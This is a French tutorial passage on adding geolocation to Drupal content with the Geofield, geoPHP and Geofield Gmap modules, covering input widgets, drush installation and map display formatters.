Do you really want to continue? (y/n): y
ctools was enabled successfully.                                                                                         [ok]
ctools defines the following permissions: use ctools import
geofield was enabled successfully.                                                                                       [ok]
geophp was enabled successfully.                                                                                         [ok]

A ce stade, on a uniquement un nouveau type de champ, qui peut être ajouté à des contenus.

Saisie des coordonnées

La saisie des coordonnées peut utiliser plusieurs options :

  • saisie directe des valeurs de latitude, longitude
  • définition d'une zone à partir d'une carte
  • encodage à partir d'une adresse
  • positionnement direct du marqueur sur une carte
  • combinaison de l'adresse et du positionnement

Le plus intuitif, à mon sens, reste la saisie d'une adresse et/ou le positionnement du marqueur sur la carte, qui est intéressant lorsque la position à saisir n'est pas une adresse (par exemple un point perdu dans la campagne ou la montagne...).

Défaut avec Geofield

Par défaut, une fois que geofield est installé, on peut voir sur la capture d'écran, que seuls 4 types de widgets sont disponibles par défaut :

  • GeoJSON : données au format json
  • Well Known Text (WKT) : format WKT, un format qui permet de définir le type de d'objet et ses coordonnées
  • Latitude / Longitude : 2 champs de saisie, un pour chaque donnée
  • Bounds : saisie de plusieurs points pour définir une frontière

Dans notre exemple, nous avons choisi Latitude / Longitude. L'ajout d'un contenu de type POI demande donc la saisie de la latitude et de la longitude du point.
C'est précis, mais pas très intuitif.


Si on a activé la géolocalisation HTML 5, on peut récupérer la localisation actuelle du navigateur en cliquant sur "Find my location" .

Dans ce deuxième exemple, on a changé le widget de saisie en GeoJSON. La saisie demande donc ce format, par exemple :

{"type":"Point",
"coordinates":[3.1,50.0] }

On constate également que l'affichage (pour l'instant) n'utilise que des champs textes : WKT, GeoJSON, KML, etc. :

Avec des widgets Graphiques

Plutôt que de faire une saisie manuelle des coordonnées, on peut vouloir placer le marqueur directement sur une carte. Pour ce faire, on peut utiliser plusieurs modules, tels que :

Geofield Gmap

L'installation est simple avec drush :

drush dl geofield_gmap
drush en -y geofield_gmap

Une fois le module téléchargé et activé, on dispose d'un nouveau Widget pour notre champ Localisation : Google Map.


On peut alors entrer une adresse, ou une ville dans le champ d'adresse, mais aussi travailler directement sur la carte.

A ce stade, on a donc une saisie et un rendu graphiques de la localisation sur notre type de contenu, en ayant installé 4 modules : ctools, geophp, geofield et geofield_gmap.

Ceci fonctionne bien pour un affichage individuel, mais si on veut afficher sur une seule carte les différents points, il va falloir aller plus loin et utiliser notamment les fonctionnalités de Views

Encodage

L'encodage consiste à transformer les données saisies en latitude / longitude, afin d'alimenter le champ geofield. Jusqu'ici, notre exemple n'a pas utilisé d'encodage, et il faut donc saisir ces données manuellement, ce qui n'est pas très user friendly.

Des modules d'encodage à partir d'adresse sont souvent utilisés. Dans ce domaine, on utilise souvent le couple de modules :

  • Address pour la saisie des adresses
  • Geocoder pour l'encodage à partir de l'adresse saisie

Cette partie sera traitée dans un autre article.

Restitution / affichage

Avec le module Geofield

Par défaut avec geofield, lorsqu'on visualise le contenu, le résultat est assez austère. L'affichage utilise le format WKT (Well Known Text). Par exemple :

POINT (3.1 50)

On peut modifier cet affichage, pour voir les différents autres formats texte.

Par exemple, si on choisit GeoJSON, on a alors les coordonnées en format JSON :

{"type":"Point","coordinates":[3.1,50]}

Pour améliorer la restitution, on peut activer le module Geofield map qui permet d'avoir un nouveau formatter pour la visualisation.

Une fois choisi Geofield Map, on dispose de beaucoup plus d'options pour l'affichage

Le résultat est déjà plus intéressant ; quand on affiche un contenu, la localisation est affichée sous la forme d'une Map Google :

Affichage avec d'autres modules

Il existe d'autres modules qui gèrent l'affichage du contenu, et qui peuvent être intégrés avec Views, afin de réaliser des cartes englobants plusieurs points.
Ces modules utilisent généralement des librairies Javascript, qui effectuent le rendu côté client.

On peut citer notamment :

  • Leaflet
  • OpenLayers
  • IP Geoloc

Nous verrons dans un autre article comment utiliser Leaflet, avec des clusters de point et des icônes spécifiques selon une taxonomie.

 

Catégorie: 


Tag: 

Pages